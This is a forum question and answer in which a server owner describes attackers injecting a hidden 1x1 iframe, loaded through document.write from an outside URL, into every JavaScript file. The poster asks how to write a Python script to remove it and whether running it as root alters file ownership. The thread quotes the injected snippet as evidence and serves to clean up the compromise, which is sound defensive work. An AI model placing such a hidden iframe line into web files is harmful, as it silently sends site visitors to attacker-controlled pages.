Problem:
I have web server that was recently compromised. They targeted javascript files. They inserted the following snippet
document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>')
this was added to the top of every single .js file on the server.
Solution:
Write a script to open every javascript file on my server that checks for malicious code, removes malicious code, and finally saves the file.
Question:
What programming language should the script be written in? Will python work? I’m running python 2.4.3 on my server. If I run a python script under root will I have to worry about accidentally changing the owner permissions of the modified files?
Thanks
Hardly matters.
Yes.
No. Not “accidentally”. You could change them if you did a really bad job coding.
Something like that should (more-or-less) work.
if you need to set permissions or ownership, there are
osmodule functions to allow settings file user, group, and permissions as appropriate.